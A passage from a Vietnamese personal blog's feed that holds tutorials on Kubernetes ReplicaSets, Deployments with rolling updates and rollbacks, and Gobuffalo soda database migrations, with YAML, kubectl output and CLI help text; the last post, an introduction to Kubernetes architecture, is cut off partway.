class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ReplicaSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.24.0</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>Apply file trên:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl get all</span><br><span class="line">NAME              READY   STATUS              RESTARTS   AGE</span><br><span class="line">pod/nginx-drb62   0/1     ContainerCreating   0          45s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   92m</span><br><span class="line"></span><br><span class="line">NAME                    DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx   1         1         0       45s</span><br></pre></td></tr></table></figure><p>Pod đã được cấp tên ở trong replicaset nên đó là lý do ta không cần metadata name.</p><h2 id="Deployment"><a href="#Deployment" class="headerlink" title="Deployment"></a>Deployment</h2><p>Deployment là một khái niệm nâng cấp hơn của ReplicaSet, nó tương tự như ReplicaSet nhưng điểm khác biệt là giúp ứng dụng “rolling updates”. Rolling updates cho phép cập nhật của Deployments diễn ra mà không gây gián đoạn bằng cách cập nhật từng đợt Pod một cách tăng dần với các phiên bản mới.</p><p>Cách deployment rolling updates:</p><ul><li>Giả sử ban đầu ta có một tập ReplicaSet từ deployment như sau:<img width="829" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/0d0e1676-439f-4bf4-89de-3c73bcdf7606"></li><li>Bây giờ ta muốn update Pod từ v1 thành v2, ta sửa file yaml và appy nó trên kube. Sau khi apply, kube sẽ tiến hành tạo một ReplicaSet mới với Pod v2:<br><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/c4c4be20-47fc-409b-b06b-1a6d7e198524" alt="image"></li><li>Sau khi ReplicaSet mới được hoàn thiện, và sẵn sàng cho request. Kube sẽ tiến hành xóa các Pod trong ReplicaSet cũ, tuy nhiên ReplicaSet vẫn ở đấy với 0 Pod:<br><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/b048f5db-2dab-4d78-98c7-bfb9b5bf943f" alt="image"></li></ul><h3 id="Demo"><a href="#Demo" class="headerlink" title="Demo"></a>Demo</h3><blockquote><p>xyz-deployment.yml</p></blockquote><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-deployment</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.24</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">kubectl get all</span><br><span class="line">NAME                                    READY   STATUS    RESTARTS   AGE</span><br><span class="line">pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          9s</span><br><span class="line">pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          9s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   118m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   2/2     2            2           9s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   2         2         2       9s</span><br></pre></td></tr></table></figure><p>Bây giờ đổi version của nginx để xem cách deployment rolling update:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-deployment</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">2</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginxweb</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.25.2</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl get all</span><br><span class="line">pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m28s</span><br><span class="line">pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m28s</span><br><span class="line">pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          2s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   120m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   0/2     1            0           2m28s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m28s</span><br><span class="line">replicaset.apps/nginx-deployment-77dff7f778   1         1         0       2s</span><br><span class="line">&gt; kubectl get all</span><br><span class="line">pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m30s</span><br><span class="line">pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m30s</span><br><span class="line">pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          4s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   120m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   0/2     1            0           2m30s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m30s</span><br><span class="line">replicaset.apps/nginx-deployment-77dff7f778   1         1         0       4s</span><br><span class="line">&gt; kubectl get all</span><br><span class="line">pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m34s</span><br><span class="line">pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m34s</span><br><span class="line">pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          8s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   120m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   0/2     1            0           2m35s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m35s</span><br><span class="line">replicaset.apps/nginx-deployment-77dff7f778   1         1         0       9s</span><br><span class="line">NAME                                    READY   STATUS              RESTARTS   AGE</span><br><span class="line">pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running             0          2m38s</span><br><span class="line">pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running             0          2m38s</span><br><span class="line">pod/nginx-deployment-77dff7f778-5mqkn   0/1     ContainerCreating   0          12s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   121m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   2/2     1            2           2m39s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   2         2         2       2m39s</span><br><span class="line">replicaset.apps/nginx-deployment-77dff7f778   1         1         0       13s</span><br><span class="line">&gt; kubectl get all</span><br><span class="line">NAME                                    READY   STATUS    RESTARTS   AGE</span><br><span class="line">pod/nginx-deployment-77dff7f778-5mqkn   1/1     Running   0          19s</span><br><span class="line">pod/nginx-deployment-77dff7f778-5vvtq   1/1     Running   0          6s</span><br><span class="line"></span><br><span class="line">NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE</span><br><span class="line">service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   121m</span><br><span class="line"></span><br><span class="line">NAME                               READY   UP-TO-DATE   AVAILABLE   AGE</span><br><span class="line">deployment.apps/nginx-deployment   2/2     2            2           2m45s</span><br><span class="line"></span><br><span class="line">NAME                                          DESIRED   CURRENT   READY   AGE</span><br><span class="line">replicaset.apps/nginx-deployment-5c5c46c579   0         0         0       2m45s</span><br><span class="line">replicaset.apps/nginx-deployment-77dff7f778   2         2         2       19s</span><br></pre></td></tr></table></figure><p>Ngoài ra ta có thể xem quá trình rollout đơn giản hơn bằng lệnh rollout:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl apply -f .\deployment.yaml</span><br><span class="line">deployment.apps/nginx-deployment configured</span><br><span class="line">&gt; kubectl rollout status deployment nginx-deployment</span><br><span class="line">Waiting for deployment &quot;nginx-deployment&quot; rollout to finish: 1 out of 2 new replicas have been updated...</span><br><span class="line">Waiting for deployment &quot;nginx-deployment&quot; rollout to finish: 1 out of 2 new replicas have been updated...</span><br><span class="line">Waiting for deployment &quot;nginx-deployment&quot; rollout to finish: 1 out of 2 new replicas have been updated...</span><br><span class="line">Waiting for deployment &quot;nginx-deployment&quot; rollout to finish: 1 old replicas are pending termination...</span><br><span class="line">Waiting for deployment &quot;nginx-deployment&quot; rollout to finish: 1 old replicas are pending termination...</span><br><span class="line">deployment &quot;nginx-deployment&quot; successfully rolled out</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">&gt; kubectl rollout history deploy nginx-deployment</span><br><span class="line">deployment.apps/nginx-deployment</span><br><span class="line">REVISION  CHANGE-CAUSE</span><br><span class="line">3         &lt;none&gt;</span><br><span class="line">4         &lt;none&gt;</span><br><span class="line">&gt; kubectl rollout history deploy nginx-deployment</span><br><span class="line">deployment.apps/nginx-deployment</span><br><span class="line">REVISION  CHANGE-CAUSE</span><br><span class="line">3         &lt;none&gt;</span><br><span class="line">4         &lt;none&gt;</span><br><span class="line"></span><br><span class="line">&gt; kubectl rollout undo deploy nginx-deployment --to-revision=3</span><br><span class="line">deployment.apps/nginx-deployment rolled back</span><br><span class="line">&gt; kubectl rollout history deploy nginx-deployment</span><br><span class="line">deployment.apps/nginx-deployment</span><br><span class="line">REVISION  CHANGE-CAUSE</span><br><span class="line">4         &lt;none&gt;</span><br><span class="line">5         &lt;none&gt;</span><br></pre></td></tr></table></figure>]]></content:encoded>
      
      
      
      
      <comments>https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Gobuffalo Soda-cli</title>
      <link>https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/</link>
      <guid>https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/</guid>
      <pubDate>Mon, 17 Jul 2023 08:45:07 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Install&quot;&gt;&lt;a href=&quot;#Install&quot; class=&quot;headerlink&quot; title=&quot;Install&quot;&gt;&lt;/a&gt;Install&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://gobuffalo.io/documentation/databa</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Install"><a href="#Install" class="headerlink" title="Install"></a>Install</h2><p><a href="https://gobuffalo.io/documentation/database/soda/">https://gobuffalo.io/documentation/database/soda/</a></p><h2 id="Tao-database"><a href="#Tao-database" class="headerlink" title="Tạo database"></a>Tạo database</h2><ul><li>Cách 1: Sử dụng file <code>database.yml</code>:<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">development:</span></span><br><span class="line">  <span class="attr">dialect:</span> <span class="string">postgres</span></span><br><span class="line">  <span class="attr">database:</span> <span class="string">myapp_development</span></span><br><span class="line">  <span class="attr">user:</span> <span class="string">postgres</span></span><br><span class="line">  <span class="attr">password:</span> <span class="string">postgres</span></span><br><span class="line">  <span class="attr">host:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">  <span class="attr">pool:</span> <span class="number">5</span></span><br></pre></td></tr></table></figure>Sau khi tạo file database.yml, ta chạy lệnh <code>soda create -a</code> để tạo database.</li><li>Cách 2: Sử dụng cli để tạo trực tiếp:<ul><li><code>soda create -e test</code></li></ul></li></ul><h2 id="Database-Migrations"><a href="#Database-Migrations" class="headerlink" title="Database Migrations"></a>Database Migrations</h2><p>Tạo một thư mục migrations để quản lý các file <code>.fizz</code> và <code>.sql</code></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">├───cmd</span><br><span class="line">│   └───web</span><br><span class="line">└───db</span><br><span class="line">    └───migrations</span><br></pre></td></tr></table></figure><p>Gobuffalo có sử dụng một gói quản lý fizz để dễ dàng hơn trong việc viết các câu lệnh tạo bảng,… Tuy nhiên ta cũng có thể sử dụng sql migration.</p><h3 id="Fizz-migration"><a href="#Fizz-migration" class="headerlink" title="Fizz migration"></a>Fizz migration</h3><p>Tạo một migrations:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">soda generate fizz -p ./db/migrations name_of_migration</span><br></pre></td></tr></table></figure><p>Ví dụ:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">soda generate fizz -p ./db/migrations create_users_table</span><br></pre></td></tr></table></figure><p>Hai file <code>20230717051256_create_users_table.down.fizz</code>, <code>20230717051256_create_users_table.up.fizz</code> được tạo ra.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ soda g migration --<span class="built_in">help</span></span><br><span class="line">Generates Up/Down migrations <span class="keyword">for</span> your database using fizz.</span><br><span class="line"></span><br><span class="line">Usage:</span><br><span class="line">  soda generate fizz [name] [flags]</span><br><span class="line"></span><br><span class="line">Aliases:</span><br><span class="line">  fizz, migration</span><br><span class="line"></span><br><span class="line">Flags:</span><br><span class="line">  -h, --<span class="built_in">help</span>   <span class="built_in">help</span> <span class="keyword">for</span> fizz</span><br><span class="line"></span><br><span class="line">Global Flags:</span><br><span class="line">  -c, --config string   The configuration file you would like to use.</span><br><span class="line">  -d, --debug           Use debug/verbose mode</span><br><span class="line">  -e, --<span class="built_in">env</span> string      The environment you want to run migrations against. Will use <span class="variable">$GO_ENV</span> <span class="keyword">if</span> <span class="built_in">set</span>. (default <span class="string">&quot;development&quot;</span>)</span><br><span class="line">  -p, --path string     Path to the migrations folder (default <span class="string">&quot;./migrations&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="Sql-migration"><a href="#Sql-migration" class="headerlink" title="Sql migration"></a>Sql migration</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">soda generate sql name_of_migration</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ soda g sql --<span class="built_in">help</span></span><br><span class="line">Generates Up/Down migrations <span class="keyword">for</span> your database using SQL.</span><br><span class="line"></span><br><span class="line">Usage:</span><br><span class="line">  soda generate sql [name] [flags]</span><br><span class="line"></span><br><span class="line">Flags:</span><br><span class="line">  -h, --<span class="built_in">help</span>   <span class="built_in">help</span> <span class="keyword">for</span> sql</span><br><span class="line"></span><br><span class="line">Global Flags:</span><br><span class="line">  -c, --config string   The configuration file you would like to use.</span><br><span class="line">  -d, --debug           Use debug/verbose mode</span><br><span class="line">  -e, --<span class="built_in">env</span> string      The environment you want to run migrations against. Will use <span class="variable">$GO_ENV</span> <span class="keyword">if</span> <span class="built_in">set</span>. (default <span class="string">&quot;development&quot;</span>)</span><br><span class="line">  -p, --path string     Path to the migrations folder (default <span class="string">&quot;./migrations&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="Viet-mot-fizz-file"><a href="#Viet-mot-fizz-file" class="headerlink" title="Viết một fizz file"></a>Viết một fizz file</h3><p>Ví dụ ta tạo một bảng <code>users</code>:</p><ul><li>.up.fizz file:<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">create_table(&quot;users&quot;) &#123;</span><br><span class="line">  t.Column(&quot;id&quot;, &quot;integer&quot;, &#123;primary: true&#125;)</span><br><span class="line">  t.Column(&quot;first_name&quot;, &quot;string&quot;, &#123;&quot;size&quot;: 255&#125;)</span><br><span class="line">  t.Column(&quot;last_name&quot;, &quot;string&quot;, &#123;&quot;size&quot;: 255&#125;)</span><br><span class="line">  t.Column(&quot;user_active&quot;, &quot;integer&quot;, &#123;&quot;default&quot;: 0&#125;)</span><br><span class="line">  t.Column(&quot;email&quot;, &quot;string&quot;, &#123;&#125;)</span><br><span class="line">  t.Column(&quot;password&quot;, &quot;string&quot;, &#123;&quot;size&quot;: 60&#125;)</span><br><span class="line">  t.Column(&quot;deleted_at&quot;, &quot;timestamp&quot;, &#123;&quot;null&quot;: true&#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li>.down.fizz file:<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">drop_table(&quot;users&quot;)</span><br></pre></td></tr></table></figure></li></ul><p>Sau khi set xong, ta chạy lệnh <code>soda migrate up</code> hoặc <code>soda migrate</code> để tạo table. Sau khi chạy thành công ta có thể thấy cấu hình được dump ra từ sql file.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">│   database.yml</span><br><span class="line">│   db.go</span><br><span class="line">│</span><br><span class="line">└───migrations</span><br><span class="line">        20230717051256_create_users_table.down.fizz</span><br><span class="line">        20230717051256_create_users_table.up.fizz</span><br><span class="line">        schema.sql</span><br></pre></td></tr></table></figure>]]></content:encoded>
      
      
      
      
      <comments>https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Kubernetes learning</title>
      <link>https://rayinaw.github.io/2023/06/23/kubernetes-learning/</link>
      <guid>https://rayinaw.github.io/2023/06/23/kubernetes-learning/</guid>
      <pubDate>Fri, 23 Jun 2023 14:53:41 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Kubernetes-learning&quot;&gt;&lt;a href=&quot;#Kubernetes-learning&quot; class=&quot;headerlink&quot; title=&quot;Kubernetes learning&quot;&gt;&lt;/a&gt;Kubernetes learning&lt;/h1&gt;&lt;h2 i</description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Kubernetes-learning"><a href="#Kubernetes-learning" class="headerlink" title="Kubernetes learning"></a>Kubernetes learning</h1><h2 id="Docker-vs-Kubernetes"><a href="#Docker-vs-Kubernetes" class="headerlink" title="Docker vs Kubernetes"></a>Docker vs Kubernetes</h2><h3 id="Docker-va-container"><a href="#Docker-va-container" class="headerlink" title="Docker và container"></a>Docker và container</h3><p>Trước khi đi vào kubernetes thì ta sẽ đi qua docker và container trước.</p><p><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/7bca59e8-7f49-4e8f-8bcc-ba53ff4685e5" alt="image"></p><p>Trong mô hình <code>Virtual Machine</code>, mỗi VM đều có hệ điều hành riêng (guest OS) và một bản sao của kernel của hệ điều hành đó. Khi bạn khởi động một VM, nó sẽ khởi động guest OS, và sau đó các ứng dụng và dịch vụ chạy trên guest OS này. Mỗi VM hoạt động như một máy tính ảo hoàn chỉnh với hệ điều hành độc lập.</p><p>Khác với VM, Containers là một công nghệ ảo hóa mức ứng dụng, nó không cần Guest OS mà trực tiếp chia sẻ với nhau Host OS thông qua Docker Engine.</p><h3 id="Kubernetes"><a href="#Kubernetes" class="headerlink" title="Kubernetes"></a>Kubernetes</h3><p>Cũng là ứng dụng quản lý container, nhưng khác với Docker là công cụ tạo và quản lý container độc lập, Kubernetes là hệ thống orkestrasi container mạnh mẽ giúp quản lý, mở rộng, và tự động hóa quá trình triển khai và quản lý ứng dụng container phức tạp.</p><h2 id="Kubernetes-Architecture"><a href="#Kubernetes-Architecture" class="headerlink" title="Kubernetes Architecture"></a>Kubernetes Architecture</h2><p><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/cf8b1b7a-270d-419a-ba65-230f8b7a0930" alt="image"></p><h3 id="Cluster"><a href="#Cluster" class="headerlink" title="Cluster"></a>Cluster</h3><p><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/20b5fed6-7a95-4690-ab12-07d899b34ab8" alt="image"></p><p>Cluster (cụm) là một nhóm các Node (là các máy ảo), trên Cluster sẽ có môi trường Kubernetes.</p><p>Một cụm Kubernetes (Kubernetes cluster) bao gồm <code>control plane nodes</code> (hay còn gọi là Master nodes quản lý Cluster) và các <code>worker nodes</code>.</p><p>Master chịu trách nhiệm quản lý cụm và master điều phối tất cả các hoạt động trong cụm.</p><p>Mỗi <code>worker node</code> xem như một máy riêng và có một <code>kubelet</code>, là proxy quản lý node và giao tiếp với <code>Kubernetes Master node</code>.</p><h3 id="Control-Plane-Master-node"><a href="#Control-Plane-Master-node" class="headerlink" title="Control Plane (Master node)"></a>Control Plane (Master node)</h3><p>Control plane chịu trách nhiệm điều phối vùng chứa và duy trì trạng thái của Cluster. Control plane bao gồm những thành phần sau:</p><ol><li>kube-apiserver</li><li>etcd</li><li>kube-scheduler</li><li>kube-controller-manager</li><li>cloud-controller-manager</li></ol><img width="631" alt="image" src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/0fd1ca6b-6d5b-4185-8c0f-38d34bb1f9a7"><h3 id="Worker-nodes"><a href="#Worker-nodes" class="headerlink" title="Worker 